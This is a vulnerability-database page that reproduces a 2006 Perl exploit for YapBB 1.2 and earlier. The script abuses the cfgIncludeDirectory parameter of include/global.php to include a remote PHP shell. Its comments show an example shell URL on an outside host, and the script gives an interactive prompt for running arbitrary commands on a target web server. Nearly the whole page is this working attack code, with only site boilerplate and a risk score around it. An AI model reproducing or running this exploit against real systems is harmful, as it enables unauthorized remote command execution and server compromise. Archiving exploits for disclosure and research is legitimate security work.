Lucene search
K

YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

YapBB 1.2 Remote Command Execution Exploit using Perl script

Code

                                                #!/usr/bin/perl
#
# YapBB &#60;=1.2 Beta Remote Command Execution Exploit
#
# Copyright (c) 2006 cijfer &#60;cijfer@netti!fi&#62;
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to &#39;http://target.com/dir&#39;
# cijfer$ 
#
# to set your PHP shell location:
# cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd=
# php shell set to &#39;http://my.shell.fi/phpshell.gif?&cmd=&#39;
# cijfer$
#
# $Id: cijfer-yapbbxpl.pl,v 0.1 2006/02/15 02:37:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions(&#34;host=s&#34; =&#62; \$host, &#34;proxy=s&#34; =&#62; \$proxy, &#34;verbose+&#34; =&#62; \$verbose);
&usage unless $host;

while()
{
	print color(&#34;green&#34;), &#34;cijfer\$ &#34;, color(&#34;reset&#34;);
	chomp($command = &#60;STDIN&#62;);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host=&#34;http://&#34;.$1;
		print &#34;host changed to &#39;&#34;;
		print color(&#34;bold&#34;), $host.&#34;&#39;\n&#34;, color(&#34;reset&#34;);
	}
	elsif($command =~ m/^shell=http:\/\/(.*)/g)
	{
		$shel=&#34;http://&#34;.$1;
		print &#34;php shell set to &#39;&#34;;
		print color(&#34;bold&#34;), $shel.&#34;&#39;\n&#34;, color(&#34;reset&#34;);
	}
	else
	{
		&exploit($command,$host);
	}
}

sub usage
{
	print &#34;YapBB &#60;=1.2 Beta Remote Command Execution Exploit\n&#34;;
	print &#34;usage: $0 -hpv\n\n&#34;;
	print &#34;  -h, --host\t\tfull address of target (ex. http://www.website.com/directory)\n&#34;;
	print &#34;  -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n&#34;;
	print &#34;  -v, --verbose\t\tverbose mode (debug)\n\n&#34;;
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cij=LWP::UserAgent-&#62;new() or die;
	$cij-&#62;agent(&#34;Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101&#34;);
	$cij-&#62;proxy(&#34;http&#34;, &#34;http://&#34;.$proxy.&#34;/&#34;) unless !$proxy;

	$string  = &#34;%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B&#34;;
	$string .= uri_escape(shift);
	$string .= &#34;%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F&#34;;

	$out=$cij-&#62;get($host.&#34;/include/global.php?GLOBALS[includeBit]=1&cfgIncludeDirectory=&#34;.$shel.$string);

	if($out-&#62;is_success)
	{
		@cij=split(&#34;_cijfer_&#34;,$out-&#62;content);
		print substr(@cij[1],1);
	}

	if($verbose)
	{
		$recv=length $out-&#62;content;
		print &#34;Total received bytes: &#34;.$recv.&#34;\n&#34;;
		$sent=length $command;
		print &#34;Total sent bytes: &#34;.$sent.&#34;\n&#34;;
	}
}

# milw0rm.com [2006-02-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23